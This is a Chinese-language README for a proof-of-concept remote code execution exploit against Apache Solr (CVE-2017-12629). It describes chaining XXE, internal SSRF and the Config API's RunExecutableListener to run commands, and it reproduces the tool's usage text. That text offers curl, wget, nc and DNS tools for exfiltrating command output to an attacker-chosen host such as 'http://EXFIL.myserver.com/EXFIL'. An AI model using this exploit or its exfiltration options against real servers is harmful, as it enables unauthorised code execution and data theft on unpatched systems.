在 Apache Solr 7.1 之前的版本中,结合使用 Apache Lucene 7.1 之前的版本,通过利用 XXE 并配合 Config API 的 add-listener 命令来触发 RunExecutableListener 类,可实现远程代码执行。Elasticsearch 虽然使用了 Lucene,但不受此漏洞影响。请注意,XML 外部实体扩展漏洞存在于 XML 查询解析器中,默认情况下,任何带有参数 deftype=xmlparser 的查询请求均可利用该漏洞,通过向 /upload 请求处理器上传恶意数据,或作为使用 FTP 包装器的 Blind XXE,来从 Solr 服务器读取任意本地文件。另请注意,第二个漏洞涉及使用 RunExecutableListener 实现远程代码执行,该监听器在所有受影响版本的 Solr 中均可用。
命令输出需要通过 OOB 方式外泄。此 POC 支持 Hex 和 Base32 格式,这两种格式均不区分大小写。
usage: rce.py [-h] -ue URL_BASE_EXTERNAL -ui URL_BASE_INTERNAL [-b {curl,wget,ftp,ping,nc,ncat,nslookup,dig}] -e EXFIL
[-f {hex,base32}]
POC for CVE-2017-12629 (RCE via internal SSRF via XXE) by @realCaptainWoof
options:
-h, --help show this help message and exit
-ue, --url-base-external URL_BASE_EXTERNAL
External URL base of the vulnerable application; e.g, 'https://vulnerable.app/solr'
-ui, --url-base-internal URL_BASE_INTERNAL
Internal URL base of the vulnerable application; e.g, 'https://127.0.0.1:8983'; default:
'https://127.0.0.1:8983'
-b, --bin {curl,wget,ftp,ping,nc,ncat,nslookup,dig}
How to exfiltrate command output from target; default: 'curl'
-e, --exfil EXFIL Destination to exfil to. Make sure this corresponds to '--bin'; e.g, if '--bin' is 'curl', '--exfil' can
be 'http://EXFIL.myserver.com/EXFIL'. Must specify injection point via 'EXFIL' keyword.
-f, --exfil-format {hex,base32}
Format in which to exfil the command output; default: 'base32'